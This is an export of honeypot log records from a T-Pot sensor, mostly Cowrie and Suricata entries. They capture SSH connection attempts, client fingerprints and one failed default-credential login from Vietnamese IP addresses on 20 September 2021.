34802	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:03:50.820714+03	2021-09-20 15:15:02.386691+03	{"_id": "BAYXA3wBvYTbRNuET1hx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:03:50.820714Z", "@timestamp": "2021-09-20T12:03:50.820Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
22234	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.059411+03	2021-09-20 14:15:04.668612+03	{"_id": "VwbjAnwBvYTbRNuEUQZO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "445b8725efc6", "@version": "1", "timestamp": "2021-09-20T11:07:04.059411Z", "@timestamp": "2021-09-20T11:07:04.059Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22235	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:04.05734+03	2021-09-20 14:15:04.669612+03	{"_id": "WgbjAnwBvYTbRNuEUwbB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1732376859747917, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45932, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.057340Z", "@timestamp": "2021-09-20T11:07:04.057Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22236	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:04.400668+03	2021-09-20 14:15:04.670613+03	{"_id": "XAbjAnwBvYTbRNuEUwbB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1908878540791937, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54150, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.400668Z", "@timestamp": "2021-09-20T11:07:04.400Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22237	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:04.669644+03	2021-09-20 14:15:04.672645+03	{"_id": "WQbjAnwBvYTbRNuEUwbB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1577244788571160, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57046, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.669644Z", "@timestamp": "2021-09-20T11:07:04.669Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22238	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:05.297925+03	2021-09-20 14:15:04.673642+03	{"_id": "sQbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56826, "dest_port": 22, "timestamp": "2021-09-20T11:07:05.297925", "@timestamp": "2021-09-20T11:07:05.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22239	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:05.29728+03	2021-09-20 14:15:04.675642+03	{"_id": "swbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [user1/user] failed", "session": "4d1226e02b74", "@version": "1", "password": "user", "username": "user1", "timestamp": "2021-09-20T11:07:05.297280Z", "@timestamp": "2021-09-20T11:07:05.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22240	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:06.015104+03	2021-09-20 14:15:04.676642+03	{"_id": "tQbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "536182ae278d", "@version": "1", "timestamp": "2021-09-20T11:07:06.015104Z", "@timestamp": "2021-09-20T11:07:06.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22241	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:06.735269+03	2021-09-20 14:15:04.677654+03	{"_id": "2QbjAnwBvYTbRNuEWwaS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1088097405807085, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35150, "dest_port": 22, "timestamp": "2021-09-20T11:07:06.735269Z", "@timestamp": "2021-09-20T11:07:06.735Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22242	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:06.789855+03	2021-09-20 14:15:04.679647+03	{"_id": "2gbjAnwBvYTbRNuEWwaS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1979672486838080, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57420, "dest_port": 22, "timestamp": "2021-09-20T11:07:06.789855Z", "@timestamp": "2021-09-20T11:07:06.789Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22243	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:06.640429+03	2021-09-20 14:15:04.680642+03	{"_id": "7wbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "447202b7f8a7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:06.640429Z", "@timestamp": "2021-09-20T11:07:06.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
35459	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:08:48.950507+03	2021-09-20 15:15:03.288691+03	{"_id": "NgYbA3wBvYTbRNuE3FwZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:48.950507Z", "@timestamp": "2021-09-20T12:08:48.950Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
22244	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:06.227953+03	2021-09-20 14:15:04.682642+03	{"_id": "AwbjAnwBvYTbRNuEXAf-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:57420 (192.168.176.2:22) [session: 83ebf6194d97]", "session": "83ebf6194d97", "@version": "1", "protocol": "ssh", "src_port": 57420, "dest_port": 22, "timestamp": "2021-09-20T11:07:06.227953Z", "@timestamp": "2021-09-20T11:07:06.227Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22245	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:07.126292+03	2021-09-20 14:15:04.683643+03	{"_id": "8gbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5a7cfe368c62", "@version": "1", "duration": 2.7323272228240967, "timestamp": "2021-09-20T11:07:07.126292Z", "@timestamp": "2021-09-20T11:07:07.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
